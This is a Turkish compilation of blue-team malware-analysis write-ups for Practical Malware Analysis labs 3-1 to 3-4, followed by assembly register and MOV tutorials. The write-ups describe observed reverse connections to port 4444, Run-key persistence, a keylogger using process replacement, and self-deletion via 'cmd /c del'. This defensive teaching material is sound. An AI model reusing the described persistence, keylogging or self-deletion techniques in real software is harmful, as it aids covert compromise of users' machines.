24. Saldırgan bizim masaüstümüzdecirit atıyor.
Saldırgan zararlıyı çalıştırdıktan sonraiçerde mesajdabıraktı ben geldim diye. Biz dehoş geldin diyerek
bu olayın analizini gerçekleştirelim.
Şimdi process exploreradönelim ve şu malware.exe süreciniinceleyelim.
25. İlgili sürecimiz 3068 process id numarasınasahip. Ayrıca bu sürecimiz Explorer.exe anasürecinden
türetilmiş, bakın parent process olarak Explorer.exe ifade ediliyor. PID: 3068 PPID:1480 bunlarıelde
ettik.
TCP/IP sekmesine baktığım zaman zararlı yazılımım belirtilen adresin 4444 portunabağlantıkuruyor
bunu daelde etmiş olduk.
26. İlgili adrese çift tıkladığımız zaman stack bölmesinden degördüğünüzgibimswsock.dll, WS2_32.dll
kütüphanelerinikullandığınıgörüyoruz. Neticedebirağ iletişimi sağlanıyor. Bunlarıtemel statik
analizde ele almıştık.
Buradan elde ettiğimiz bilgilerle process monitöryaniprocmon aracımıza gidelim vemalware.exe
sürecinin gerçekleştirdiği aktiviteleri inceleyelim.
Filter sekmesinden yeni bir filtre ekliyoruz. Buradasol taraftan sağadoğru açıklarsam process
isimlerinden malware.exe ait olan süreçleri banagetirmesini istiyorum.
27. Gördüğünüzgibimalware.exe sürecinin gerçekleştirmiş olduğu aktiviteleri ve sonuçlarınıgörebiliyoruz.
Aktiviteleri incelerken görüyoruz kizararlımız TCP bağlantıları gerçekleştirmiş ve uzak bir sunucunun
4444 portunabağlantılargerçekleştirmiş.
28. Bu sefer operation filtresi uygulayarak createfile aktivitelerini yani dosyaoluşturmasüreçlerini
filtreliyorum.
Bakın dosyaaktivitelerindezararlımız masaüstündeben_geldim_nbrdosyasınıyaratmış.
Şimdi debu zararlımızın ağ taraflı aktivitelerini inceleyelim. Bunun için Wireshark programını
kullanacağız.
Zararlının 4444 portunabağlantıkurduğunu burayakadartespit etmiştik. Wireshark programındabunu
filtreliyoruz. Gördüğünüz gibiSYN-SYN+ACK-ACK şeklindeüçlü el sıkışma buradagerçekleşip akış
gerçekleşmiş yani buradabağlantının kurulup alışveriş gerçekleştiğini anlıyoruz. Ayrıcailgili zararlı
sürecin TCP/IP bölgesindehangiremote adresebağlantı kurduğunugörmüştük.
İlgili adreslere bağlantıkuruyorgörüldüğü gibi.
Protokolistatistiklerine baktığımız zaman TCP üzerindeepey bir akış gerçekleşmiş. Ayrıca data
taşındığınıgörüyoruz. Zaten TCPakışında PSH ACK verilerini görmüştük yanipakettedataolduğunu veri
olduğunu bizesöylüyor.
29. Follow TCP stream diyerek paketleri birleştirdiğim zaman RAW formatında inceliyorum ve bazıanlamlı
fonksiyonlargözümeçarpıyor.
Bu şekilde zararlımızı çalıştırıp süreçleri, gerçekleştirdiği aktiviteleri, ağ bağlantılarını inceleyebiliriz.
Kısaca buradazararlımız hedef sistemle reverse bağlantıkuruyor.
Bu konumuzdabu kadar.
PMA LAB 03-01 TEMEL DİNAMİK ANALİZ
PMA Lab03-01 Temel Dinamik Analiz
Bu yazımızda PMA Lab03-01'in temel dinamik analizini yapıyor olacağız.
Kullanılan Araçlar: Process Explorer, Process Monitor ve Wireshark
Sistem: Windows xp sp3
Laboratuvar ortamında Process Explorer, Process Monitor ve Wireshark araçlarını açalım.
Ardından PMA Lab03-01'i çalıştıralım.
İlk olarak Process Explorer ile sistemimizde çalışan processler(süreçler) hakkında bilgi sahibi
olmayız. Özellikle de konumuz olan Lab03-01.exe hakkında...
Process Explorer'da Lab03-01.exe sürecinin üzerine tıklayıp Ctrl + D kombinasyonu ile
Lab03-01.exe sürecinin belleğe yüklediği dll görülmektedir.
30. Burada dikkatimizi çeken hususlar var. Öncelikle soket ile ilgili dll'ler mevcut.
En dikkat çekeni ws2_32.dll bilindiği üzere ağ ile ilgili görevleri gerçekleştiren bir dll
dosyası. Yani burada ağ üzerinde bir işlem var bunu biliyoruz.
Diğer dikkat çeken advapi32.dll bu da bilindiği üzere Hizmet yöneticisi ve kayıt defteri gibi
gelişmiş çekirdek Windows birleşenlerine erişim sağlar.
Tekrardan sürecinin üzerine tıklayıp Ctrl + H kombinasyonu ile handle'ler görülebilmektedir.
31. Görüldüğü gibi WinVMX32 isimli bir mutex oluşturulmuş.
Devam edelim ve Lab03-01.exe sürecinin üzerine iki kere tıklayalım karşımıza properties
sekmesi gelecektir.
Buradaki strings bölümünü inceleyecek olursak..
32. Dikkatimizi çeken yerlere değinmek istiyorum. İlk olarak,
SOFTWAREMicrosoftWindowsCurrentVersionRun dizinini kullanarak kendini
başlangıca alıyor. Bu zararlılarda sık görülen bir durum bilgisayar her başlatıldığında
çalışmasına olanak tanıyor.
www.praticalmalwareanalysis.com olarak adlandırılmış bir url mevcut. Zararlının iletişime
geçtiği url olarak düşünülebilir.
! This program cannot be run in DOS mode. ibaresine gelecek olursak bu ibare aslında bir
malware şüphesi uyandırabilir. Bununla ilgili güzel bir açıklama var linkini bırakıyorum.
https://twitter.com/jepayneMSFT/status/969742842410094593
CONNECT %s:%i HTTP/1.0 buradaki http başlığı ise bir http bağlantısı olduğunu
göstermekte. Yani malware bağlantı yaptığına dair kanıtları güçlendirdi.
WinVMX32 bahsetmiştik vmx32to64.exe ve VideoDriver'dan ise aşağıda bahsedeceğiz.
33. Ayrıca image bölümündeki verify özelliği sayesinde çalışan sürecin sisteme ait olup
olmadığını bir nevi orjinalliği kontrol edilebilmektedir.
Aşağıda Lab03-01.exe sürecinin ve sisteme ait bir sürecin karşılaştırmasını göstereceğim.
Daha net anlaşılması açısından.
Şimdi ise Process Monitor aracına geçelim.
Process Monitor sayesinde kayıt defteri, dosya işlemleri vs. gibi bilgileri takip edebileceğiz.
Ctrl + L ile filtreleme kısımını açıp pid numarası ile "PID is 2456" ve "Operation is
RegSetValue" olarak filtrelediğimiz zaman pid numarası 2456 olan sürecin registry
kayırlarını filtreleyebilmekteyiz.
Strings bölümünde de bahsetmiştik ama burada biraz daha fazla detay görebilmekteyiz.
34. SOFTWAREMicrosoftWindowsCurrentVersionRun sayesinde kendini başlangıca
alıyordu demiştik. Aslında buradaki durum
SOFTWAREMicrosoftWindowsCurrentVersionRun dizisinin altına VideoDriver adlı
bir anahtar eklemesidir. Değer olarak da yani başlangıçta yazılan ve başlatılan kötü amaçlı
yazılım olarak da vmx32to64.exe olarak görmekteyiz.
Wireshark ile de bir inceleme yapalım.
Yukarıda elde ettiğimiz url adresini paket detaylarında string olarak filtrelediğimizde ilgili dns
paketlerini bize göstermektedir.
35. PMA LAB 03-02 TEMEL DİNAMİK ANALİZ
1. sorunun kısaca meali bu zararlıyı yüklemesini nasıl yapabiliriz diye sormakta ancak bundan
önce her zamanki gibi virus totala atmak daha doğru bir hareket olacaktır belki bu DLL
dosyasını daha önceden analiz eden biri vardır veya aynı hash degerine sahip başka isimli dll
dosyaları da mevcut olabilir bu yüzden virus totala atarak başlayalım.
36. ilk başta bu dll dosyaları dikkatimizi çekti normalde bu kadar detaylı vermeyebilir daha
önceden birileri incelediği için gerekli notları düşmüş. Kullandığı dlller ve çalışması için bazı
parametreler.
CF daha önceden analiz edildiği daha biz analiz etmeden DLL hakkında birçok bilgiye sahip
olduk ancak bu kadarıda yeteli değil bizim için ve şimdi severekte kullanmayı çok sevdiğim
all in one tadında bir aracı kullanmaya geldi Pestudio
37. v
hiç uzatmadan DLL in kendini çalıştırırken yardım aldığı DLL ler ve kullandıkları
fonksiyonları görmektediz bu bilgilerin hepsi bizim için IOC verileridir ve rapor hazırlarken
bunlar önem arz etmektedir.
V
şimdi ise string kısmına gelelim Siyah ok ile gösterdiğim bize (KEYLOGGER) havası
oluşturmada
keylogger analizi konumuza baktığımızda ne demek istediğim daha net anlaşılacaktır.
Mavi ok ile gösterilen ise registry kaydını görmekteyiz Svchost görev yöneticimizde çok olan
bir exe gizlenmek için güzel bir ad kırmızı ok ise bir fonksiyon olabilir ve de cmd.exe yi de
kullanmasıda bir veri
38. v
şimdi ise kullanılan dll leri ve de özellikle bir linke denk geldik dos-message dediğimiz
kavram ise dll çalıştığında ekrana verilecek mesajdan bahsetmektedir.
Şimdi ise Dll dosyamız herhangi bir paketlemeye maruz kalıp kalmadığını araştıralım.
PeiD aracı ile de gördüğünüz gibi herhangi bir paketleme mevcut değil. Konumuz dinamik
analiz olduğu için kaynak kodlarını incelemeyeceğiz.
Şimdi 1. sorumuza dönecek olursak Dll nasıl yükleyeceğiz bundan önce de dinamik analiz
için gerekli ortamları hazır ettiğimizden emin olalım ProcessMonitor , Process Explorer ve
Wireshark
bu programlarımız hazır ise çalıştırmaya başlayalım.
39. görüldüğü üzere rundll32 yani dll çalıştırıcı ile çalıştırıyoruz kullanılan parametreyi biliyoruz
şimdi ise cmd terminalinde başlatmadan önce Process Monitor başlatıp yakala diyelim ve
hemen ardından cmd ile DLL dosyamızı yükleyelim
başladıktan bir süre sonra filtre diyerek Reg kaydı için yukarıdaki işlemleri uygulamamız
gerekiyor
evet dedikten sonra
40. kayıtları inceliyoruz ve oluşturulan hizmet adı dikkatimiz çekiyor string analizde de buna
rastlamıştık şu ana kadar dll i kurduk ve bu monitör sayesinde oluşturulan servis adını tespit
ettik
bu şekilde 1. sorunun , 4. sorunu ve 5. sorunun cevaplarını vermiş olduk 5 için zararlını ana
bilgisayar tabanlı göstergelerini sormuştu hizmet oluştuması bunu destekliyor.
4. soruda procmon fitrelerini kullanarak veri elde etmeyi nasıl yaparız idi kastı biz ise
bilgisayarda oluşturduğu servisin adını öğrenmiş olduk
şimdi ise gelelim 2. sorumuza bu servisi nasıl aktif edebilir
genel olarak yeniden başlatarak yapılabilir ancak o zamanda analiz programlarımız aktif
etmekle uğraşarak ıoc verilerini kaybederiz az önce servisin adını öğrenmiştik hizmetlere
girerek servisi başlatmak daha doğru bir karar olur
42. hizmetlerimizin üstüne tıklayarak başlatalım ve olacakları izleyelim :)
görüldüğü gibi svchost açıldı ancak daha emin olabilmek adına Find DLL diyerek hedef
odaklı çalışalım
ve bulduk uzerine tıklayarak hangi servismiş görelim görüldüğü üzere konumları ve altında
çalıştırdığı diğer programlarıda görebiliyoruz
43. satan üzerine geldiğimizde apaçık el sallıyor tabi daha profesyonel yazılımlarda bu kadar
bariz değil ancak niyetini net bir şekilde gözler önüne seriyor :) altında da 2 adet exe
çalıştırıyor
bunu göstererek de 3. sorumuz yani zararlının altında çalıştığı süreci nasıl bulabiliriz yanıtını
vermiş olduk
son sorumuza cevap verecek olursak eğer ağ kaydımız ile Wireshark üzerindeki IOC verilerini
değerlendireceğiz
44. bağlantı kurduğu adresi bize atanan ıd yi giden gelen verileri de görmüş olduk
PMA LAB 03-03 TEMEL DİNAMİK ANALİZ
Merhabalar, PMA Lab 03-03 zımbırtısını çözeceğiz. Sorulara bi' göz atalım;
İlk soruyla vakit kaybetmeden başlayalım. Bu zararlıyazılımı Process Explorer ile izlerken gözüne ne çarptı
diye sormuş eleman. Ne fark edeceğiz bir bakalım. Öncelikle Process Explorer ve Procces Monitörü açtım
doğal olarak. Process Monitor'de Capture butonuna basarak event log almaya başlayabiliriz artık.
45. Lab03-03.exe'mizi çalıştırabiliriz artık fakat çalıştırıldıktan sonra Process Explorer'da gözüktüğüne emin
olmalıyız. Subprocess svchost.exe (DLL dosyalarından başlatılan işlemlerin yürütülmesini sağlayan bir
sistem zımbırtısı)'yi oluşturup sona erdirebiliyor burada pek olağan dışı bir şey yok.
Ama aradan 5 saniye geçmeden subprocces event'inde olan svchost.exe'miz orphaned process durumuna
yani resimden de anlaşılacağı üzere üst süreci tamamlanmış olan ama hala çalışan bir sürece dönüşüyor.
Ufak bir şaşkınlıktan sonra ilk soruyu çözdüğümüzü fark ediyoruz. Gözümüze çarpan şey yeni bir
svchost.exe'nin saçma sapan bir şekilde orphaned process olarak kopyalanmasıydı yukarıda da gördüğünüz
gibi. Önümüzde daha 3 soru var yolumuza devam edelim.
İkinci soruda bize yazılımın hafıza değişikliklerini bize gösteriver diyor. Benim burada aklıma direkt
stringlere göz atmak geldi. Yeni svchost.exe'mize sağ tık yapıp özellikler diyor ve string bölümüne
bakıyoruz. Önce image stringlere bakalım;
47. svchost.exe'nin 2 kısmının da stringlerinin birbirinden çok farklı olduğunu görebiliriz ve bu kadar farkın
olmaması gerekir. Memory string'e baktığımda svchost.exe'nin keylogging faaliyetleri yaptığını gösteren
SetWindowsHookExA adlı stringi görebiliriz. Kötü amaçlı yazılımız muhtemelen daha sonra orphaned
durumuna alınan svchost.exe'yi değiştirmek için process replacement adı verilen bir teknik kullanıyor ve
kötü amaçlı kodla değiştirildikten sonra faaliyetlerine devam ediyor. E ne güzel 2.soruyu da açıklığa
kavuşturduk.
3.soruda bize zararlı yazılımın host-based indicatorlerini yani herhangi bir yerdeki izleri de denebilir. Bu
işlemde Process Monitor'den yardım alacağız. Saçma sapan yerlere kaymayalım diye önce adı svchost olan
eventleri filtreledim.
E burda da practicalmalwareanalysis.log adlı saçma sapan alakasız bir şey çıktı. Zararlı yazılımın
keylogging eventlerini buraya kaydettiği fazlasıyla açık. Böylece 3. soruyu da açıklığa kavuşturmuş olduk.
Son olarak bize programın amacını sormuş. Programın amacıen kısa şekilde svchost.exe yardımı ile hedef
48. makinede keylogging eventleri gerçekleştirmek.
Bugünkü konum bu kadardı herkese iyi forumlar.
PMA LAB 03-03 TEMEL DİNAMİK ANALİZ
Merhabalar,Blue Teamekibimizlebirlikte buhaftaPractical Malware AnalysiskitabınınBasic
DynamicAnalysisbölümüne aitbölümsonulablarınınçözümlerini gerçekleştiriyoruz.Bende sizlere
Lab 3-4 labınınçözümünügerçekleştireceğim.
Hemenkitabımızdanbirekrangörüntüsüalalım.
Lab-03-4.exe dosyasınıWindowsXPsistemimdeçalıştırarakanalizimize başlayacağım.
NedenXPdiye sorulargeliyor.Öncelikle Githubsayfasındakibukesiti ekleyelimburadalabların
WindowsXPile uyumluolduğunusöylüyor.Laboratuvarlarınbazılarınındaha yeni sürümlerde
çalışmayacağını da göz önünde bulunduralımbusebeptenanalizlerimizde WindowsXPsistemini
kullanıyoruz.
Şimdi XPsistemimizde analiziçinkullanacağımızaraçlarıhazırlayalım.
49. Hepsi budört araç. Wiresharkile zararlınınağaktivitelerinidinleyeceğiz.ProcessExplorerileçalışan
süreçlerini inceleyeceğiz. ProcessMonitorile zararlınınoluşturacağıregistrykayıtlarını,dosya
aktivitelerini,bağlantılarınıinceleyeceğiz.Regshotilede yine registeryüzerindekideğişimlerini
inceleyeceğizbirazdankendisiylebaşlayacağız.
Regshotile 1stshot diyerekzararlıyazılımıhenüzçalıştırmadananlık olarakregisterynindurumunu
kaydetmesini isteyeceğim. Dahasonrasındazararlıyı çalıştırıp 2st shot diyeceğimve buiki kaydın
compare edilmesiniyani karşılaştırılmasınıyapacakbize regshotyazılımı.
1.kayıt işleminitamamladıktansonrazararlımızıçalıştırıp ortalığı karıştırmasını istiyorum.
Zararlı yazılımı çalıştırdım ve biranda processexplorer’agözattım ilgili sürecineklenmesiyleyok
olmasıbir oldu.Aynızamandaekranabir adetCMD açıldı. Daha sonra zararlıyı çalıştırdığım dizine
baktığımda kendisi oradayoktu.Benburadanbuzararlının çalışır çalışmaz kendini yokettiğini
anladım.Şimdi buolayınanalizini processmonitörile gerçekleştireceğiz.
Tabii bundanönce zararlıyı çalıştırdıktan sonra regshotyazılımında2st shot işlemini de
gerçekleştiriyorum, çokbasitbutonabasıyorsunuzohallediyor.
Bu işleminardından2kaydın karşılaştırmasını yapmakiçin‘compare’butonunabasıyoruzve bize
plaintextformattaraporusunuyor.O rapora enson geleceğiz.Şimdiprocessmonitörile aktivitelere
bir gözatalım ve 1.sorumuzucevaplandıralım.‘Whathappenswhenyourunthisfile?’busorudabize
program çalıştığındanneleroluyordiye soruyor.
E işte program çalışınca kendini siliyor.Şimdi nasıl yapmışbu işlemi bulalım.
50. Processmonitörüzerinde Lab03-04.exe dosyasınaaitoluşturulanprosesleri filtreliyorum.Buradabize
bir adetkayıt getiriyorbununayrıntısınabakalım.Buradafiltrelerinnasıl uygulanacağınıvideodave
bir önceki konumdaayrıntılıolarakanlattım.
İlgili sürecinayrıntısınabaktığımzaman komutsatırı üzerinde gördüğünüzgibi /cdel komutuile
zararlının bulunduğudizindensilinmeişlemi gerçekleştirilmiş.Yani zararlımızkendini yoketmiş.
Birinci sorumuzuncevabıbukadar.
‘What iscausingthe roadblockindynamicanalysis?’analiziengelleme yöntemlerini soruyor.Burada
aklımıza paketlemevsgibi birişlemgelse de aslındabudeğil.Peidile de paketleme işlemine bakarsak
herhangi birşeygöremeyeceğiz.Buradaanalizinengellemeyöntemiaslındailksorudagerçekleşen
olaylabağlantılı.Zararlıkendini siliyor,pekibuzararlıkendini niye siliyor?Zararlınınçalışmama
durumlarındanbirkaçıkendini hedef birsisteme göre konfigüre etmesiveyabelirli saatdiliminegöre
çalışması olabilir.Bunlarıncevabınıdaaslındauygulamanınstringanalizini yaparakbulabiliriz.
Uygulamanıniçerisindegeçenstringleregözattığımız zamandownload,upload,cmd.exe,/cdel,web
adresi,nothingve softwareMicrosoftXPSstringlerini görüyoruz.Uygulamamızcmd.exeüzerinde
silme işlemi gerçekleştiriyordubunlardazatenstringanaliziyle dinamikanalizinörtüştüğünokta.
Burada dikkatederseniz‘softwareMicrosoftXPS’burasıkayıtdefterinde Local Machine altındayer
alanbir yol burada zararlımız biranahtar oluşturuyorveyakontrol ediyorolabilirve bunagöre
kendini bulunduğusistemde yaçalıştırıyorya da çalıştırmıyor. Nothing,zararlınınhiçbirşey
yapmamasıanlamına geliyor.
Buradaki karakterlerde önemli zararlıkendini system32altınakopyalıyorolabilirtabii çalıştıktan
sonra ancak buradabizimzararlımız kendini yoketti.Aynızamandahemenaltındasaatdilimi ile
alakalıkarakterleryeralıyor,buda zararlınınbir saat diliminihedef aldığıanlamınagelebilir.İkinci
sorumuzundacevaplarınıbu şekilde verebiliriz.
‘Are there otherwaysto run thisprogram?’3.sorumuzdaise programfarklıhangi yollarla
çalıştırılabilirdiye bize soruyor.Programımızfarklıargümanlarlakomutsatırıüzerinde çalıştırılabilir.
Regshotüzerindeki raporadagöz atalım.
51. Burada zararlı çalıştıktan sonrakayıt defterinde3adet keyeklendiğini,6kaydıneklendiğini,32
değerinmodifiyeedildiğini görüyoruz.
Burada ‘ShellNoRoam’ altındabirçokişlemingerçekleştiğini görüyoruz.Burada‘MUICache’
gözümüze çarpıyor,bununkayıt defteri artifactlerindenbiri olduğunubiliyoruz.Buanahtarımız
program yürütme izlerini kaydediyor.Buanahtarile programınyürütüldüğüyoludagörebiliyoruz.
Bu programın bölüm9 lablarındadaha detaylıinceleneceğini de söylüyor. Bizdeileri seviyestatik
analizeğitimlerimize başladığımızzamanbunatekrardandeğinerekprogramınAssemblyseviyesinde
analizini yaparakdahasağlıklıinceleyeceğiz.
Bu konumuzbukadar, okuduğunuziçinteşekkürler.ZararlıYazılım Analizi kategorisindendiğer
konularımızaulaşabilirsiniz.Lablarıindirebileceğinizadres:
https://github.com/mikesiko/PracticalMalwareAnalysis-Labs
53. ASSEMBLY REGİSTER, KOD YAPISI
Assembly KodYapısı
------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------
Data Bölümü(Veri Bölümü)=
Veri bölümü, başlatılan verileri veya sabitleri bildirmek için kullanılır. Bu veriler çalışma
zamanında değişmez. Çeşitli sabit değerleri, dosya adlarını veya arabellek boyutunu vb.
bildirebilirsiniz.
Veri bildirme sözdizimi aşağıdaki gibidir =
section.data
Bss Bölümü =
BSS bölümü değişkenleri bildirmek için kullanılır.
BSS bölümünü bildirmekiçin sözdizimi aşşağıdaki gibidir=
section.bss
Text Bölümü(MetinBölümü) =
Metin bölümü gerçek kodu tutmak için kullanılır. Bu bölüm, çekirdeğe programın
yürütülmesinin nerede başladığını bildiren global _start bildirimiyle başlamalıdır.
54. Metin bölümünün bildirilmesi için sözdizimi =
section.text
global _start
_start:
-------------------------------------------------------------------------------------------------------------------
Assembly Registers
İşlemci işlemleri çoğunlukla veri işlemeyi içerir. Bu veriler bellekte saklanabilir ve oradan
erişilebilir. Bununla birlikte, verileri bellekten okumak ve belleğe depolamak, işlemciyi
yavaşlatır, çünkü veri isteğini kontrol veriyolu üzerinden ve bellek depolama birimine
göndermek ve verileri aynı kanaldan almak için karmaşık işlemleri içerir.
İşlemci işlemlerini hızlandırmak için işlemci, kayıtlar adı verilen bazı dahili bellek depolama
konumlarını içerir.
Kayıtlar, belleğe erişmek zorunda kalmadan veri öğelerini işlemek için depolar. İşlemci çipine
sınırlı sayıda kayıt yerleştirilmiştir.
Processor Register (İşlemci Kayıtları)=
IA-32 mimarisinde on adet 32 bit ve altı adet 16 bit işlemci kaydı vardır.
Kayıtlar üç kategoriye ayrılır =
1- General Registers (Genel Kayıtlar)
2- Control Registers (Kontrol Kayıtları)
3- Segment registers. (Segment Kayıtları)
Genel kayıtlar ayrıcaaşağıdaki gruplara ayrılmıştır =
55. 1- Data Registers (Veri Kayıtları)
2- Pointer Registers (İşaretçi kayıtları)
3- İndex Registers (Dizin Kayıtları)
------------------------------------------------------------------------------------------------
Data Registers (Veri Kayıtları) =
Aritmetik, mantıksal ve diğer işlemler için dört adet 32 bit veri kaydı kullanılır.
Bu 32-bit kayıtları üç şekilde kullanılabilir=
1- Tam 32-bit veri kayıtları olarak: EAX, EBX, ECX, EDX.
2- 32-bit kayıtların alt yarısı dört 16-bit veri kaydı olarak kullanılabilir: AX, BX, CX ve DX.
3- Yukarıda belirtilen dört 16 bit kaydın daha düşük ve daha yüksek yarısı sekiz 8 bit veri
kaydı olarak kullanılabilir: AH, AL, BH, BL, CH, CL, DH ve DL.
Bu veri kayıtlarının bazıları aritmetik işlemlerde özel bir kullanıma sahiptir.
AX birincil akümülatör; giriş/çıkış ve çoğu aritmetik talimatta kullanılır. Örneğin, çarpma
işleminde, bir işlenen işlenenin boyutuna göre EAX veya AX veya AL kaydında saklanır.
BX temel kayıt olarak bilinir, dizinlenmiş adreslemede kullanılabileceği gibi.
CX, sayım kaydı olarak bilinir, ECX olarak, CX kayıtları döngü sayısını yinelemeli işlemlerde
saklar.
56. DX is known as the data register. Giriş / çıkış işlemlerinde de kullanılır. Ayrıca, büyük
değerleri içeren çarpma ve bölme işlemleri için DX ile birlikte AX kaydı ile birlikte kullanılır.
------------------------------------------------------------------------------------------------
Pointer Registers(İşaretçi Kayıtları) =
Işaretçi kayıtları 32-bit EIP, ESP ve EBP kayıtları ve karşılık gelen 16-bit sağ bölümleri IP, SP ve
BP vardır.
İşaretçi kayıtlarının üç kategorisi vardır =
1- Instruction Pointer (IP) (Talimat işaretçisi) = 16 bit IP kaydı, yürütülecek sonraki talimatın
mahsup adresini saklar. CS kaydı ile birlikte IP (CS: IP olarak), kod segmentindeki geçerli
talimatın tam adresini verir.
2- Stack Pointer (SP) (Yığın işaretçisi) = 16 bit SP kaydı, program yığını içindeki mahsup
değerini sağlar. SS kaydı (SS:SP) ile bağlantılı olarak SP, program yığınındaki verilerin veya
adresin mevcut konumunu ifade eder.
3- Base Pointer (BP) (Temel İşaretçi) = 16-bit BP kaydı esas olarak bir alt yordama geçirilen
parametre değişkenlerine başvurmaya yardımcı olur. SS kaydındaki Adres, parametrenin
konumunu almak için bp'deki ofset ile birleştirilir. BP, özel adresleme için temel kayıt olarak
DI ve sı ile de birleştirilebilir.
-------------------------------------------------------------------------------------------------------------------
Index Registers(DizinKayıtları) =
32-bit Yönerge işaretçisi kaydı ve 32-bit bayrak kaydı birleştirilmiş denetim kayıtları olarak
kabul edilir.
57. Birçok talimat karşılaştırmalar ve matematiksel hesaplamalar içerir ve bayrakların durumunu
değiştirir ve diğer bazı koşullu talimatlar, kontrol akışını başka bir yere taşımak için bu durum
bayraklarının değerini test eder.
Ortak bayrak bitleri şunlardır:
Owerflow Flag (OF) (Taşma bayrağı) = İmzalı bir aritmetik işlemden sonra yüksek
mertebeden bir bitin (en soldaki bit) veri taşmasını gösterir.
Direction Flag (DF) (Yön bayrağı) = Dize verilerini taşımak veya karşılaştırmak için sol veya
sağ yönü belirler. DF değeri 0 olduğunda, dize işlemi soldan sağa doğru yön alır ve değer 1
olarak ayarlandığında, dize işlemi sağdan sola doğru yön alır.
Interrupt Flag (IF) (Kesme bayrağı)= Harici kesmelerin klavye girişi vb.gibi olup olmadığını
belirler., göz ardı edilecek veya işlenecektir. Değer 0 olduğunda harici kesintiyi devre dışı
bırakır ve 1 olarak ayarlandığında kesmeleri etkinleştirir.
Trap Flag (TF) (Tuzak bayrağı) = İşlemcinin çalışmasını tek adımlı modda ayarlamanıza izin
verir. Kullandığımız hata ayıklama programı tuzak bayrağını ayarlar, böylece bir seferde bir
komut yürütmeyi adım atabiliriz.
Sign Flag (SF) (İşaret bayrağı) = Bir aritmetik işlemin sonucunun işaretini gösterir. Bu bayrak,
aritmetik işlemi izleyen bir veri öğesinin işaretine göre ayarlanır. İşaret, en soldaki bitin
yüksek sırası ile gösterilir. Pozitif sonuç, SF değerini 0'a temizler ve negatif sonuç 1'e ayarlar.
Zero Flag (ZF) (Sıfır bayrak) = Bir aritmetik veya karşılaştırma işleminin sonucunu gösterir.
Sıfır olmayan bir sonuç sıfır bayrağını 0 olarak temizler ve sıfır sonucu 1 olarak ayarlar.
Auxiliary Carry Flag (AF) (Yardımcı taşıma bayrağı) = Aritmetik işlemden sonra bit 3'ten bit
4'e taşıma içerir; özel aritmetik için kullanılır. AF, 1 baytlık bir aritmetik işlem bit 3'ten bit 4'e
taşınmasına neden olduğunda ayarlanır.
58. Parity Flag (PF) (Parite bayrağı) = Bir aritmetik işlemden elde edilen sonuçtaki Toplam 1 bit
sayısını gösterir. Çift sayıda 1-bit, eşlik bayrağını 0'a temizler ve tek sayıda 1-bit, eşlik
bayrağını 1'e ayarlar.
Carry Flag (CF) (Taşıma bayrağı) = Bir aritmetik işlemden sonra yüksek mertebeden bir bitten
(en soldaki) 0 veya 1'in taşınmasını içerir. Ayrıca, bir kaydırma veya döndürme işleminin son
bitinin içeriğini de saklar.
------------------------------------------------------------------------------------------------
Segment Registers(Segment Kayıtları) =
Segmentler,veri,kodve yığıniçerenbirprogramdatanımlananbelirli alanlardır.
Üç ana bölümvardır =
1- Code Segment (Kod Segmenti) = Yürütülecek tüm talimatları içerir. 16 bit kod segmenti
kaydı veya CS kaydı, kod segmentinin başlangıç adresini depolar.
2- Data Segment (Veri Segmenti) = Veri, sabitler ve çalışma alanları içerir. 16-bit veri
segmenti kaydı veya DS kaydı, veri segmentinin başlangıç adresini depolar.
3- Stack Segment (Yığın Segmenti) = Yordamların veya alt yordamların verilerini ve dönüş
adreslerini içerir. Bir 'yığın' veri yapısı olarak uygulanır. Yığın Kesimi kaydı veya SS kaydı,
yığının başlangıç adresini depolar.
DS, CS ve SS kayıtlarının yanı sıra, verileri depolamak için ek segmentler sağlayan ES (ekstra
segment), FS ve GS gibi başka ekstra segment kayıtları da vardır.Derleme programlamada, bir
programın bellek konumlarına erişmesi gerekir. Bir segment içindeki tüm bellek konumları,
segmentin başlangıç adresine göredir. Bir segment, 16 veya onaltılık 10 ile eşit olarak
bölünebilen bir adreste başlar. Bu nedenle, tüm bu bellek adreslerindeki en sağdaki onaltılık
rakam, genellikle segment kayıtlarında saklanmayan 0'dır. Segment kayıtları, bir segmentin
başlangıç adreslerini saklar. Bir segment içindeki verilerin veya talimatların tam yerini almak
için bir ofset değeri (veya yer değiştirme) gereklidir. Bir segmentteki herhangi bir bellek
konumuna başvurmak için işlemci, segment kaydındaki segment adresini konumun uzaklık
değeriyle birleştirir.
59. VERİ AKTARIM KOMUTLARI
Merhabalar,Blue TeamekibimizleberaberAssemblydersserimizibaşlattık.İleri seviye malware
analizkonularıöncesi Assemblybilgisinesahipolmamızgerekiyor. Bensize bukonudaAssemblyde
veri aktarım komutlarındanbahsedeceğim.Örneklerimi x86ve 8086 mimarilerine göre yapacağım.
MOV KOMUTU
MOV komutuişlevolarakkopyalamagöreviniyerinegetiriyor.Verilerinkaydedicilere,belleğe
atılmasını sağlamaktadır. MOV komutuyapı olarak hedeftenkaynağadoğrudur.
MOV hedef,kaynak
Burada hedef kısmıverininaktarılacağıadresi ifade ederkenkaynakise aktarılacakveri anlamına
geliyor.Üstdüzeydillerdeki değişkenkavramınıaslındabuolayabenzetebiliriz.Örneğin birdeğişkene
5 değerini atıyorsunuzhedefinizatanandeğişken,kaynağınızise atanandeğeroluyor.
Burada şu ayrıntıya da dikkatedelimkaynaktanhedefeaktarımyapılırkenkaynağındeğeri asla
kaybolmaz. Tıpkı masaüstünde yeralandosyayıkopyalayıpfarklıbirdizinde yapıştırmakgibi
düşünebiliriz.Heriki taraftaveriye sahipoluyor.MOV komutumuzlaalakalıbirkaçörnekyazıp
konuşmayadevamedelim.
Burada hedefimEAXregisterı(Registerlarile ilgili ayrıbirkonumuzbulunmaktadır.Assembly
kategorisinegözatabilirsiniz.) kaynağımise 25hdeğeri hexadecimal olarak25 değerini EAX
registerınaaktarıyor.
Burada 4142 değerini yineaynışekildeEAXregisterınaaktarıyorum.10 ve 2E değerlerininregister
üzerine düştüğünügörüyoruz.
EAX registerınasignedsayıtipindebaktığımzaman4142 değerini netbirşekilde görebiliyorum.Bunu
daha netbir şekildeEMU8086 emulatörümüaçarakdasize göstermekistiyorum.
60. Burada 8086 mimarisindeişlemyaptığımiçinAXyazıyorum.Buregisterımdakendi içerisinde 8bitlik
iki bölüme ayrılıyor.Sol taraftaregisteralanınabaktığım zamanH ve L bölümleri yani AH,AL
registerlarınasırayla10 ve 2E değerleriyani gönderdiğim4142 değerleri düşmüş.Şualanlarabir
tıklayıpgörmedenönce sağtarafta MOV AX,102Eh atamasını görüyorum.Benimgönderdiğim4142
değeri hexadeciimal olarakAX’eatanıyor.
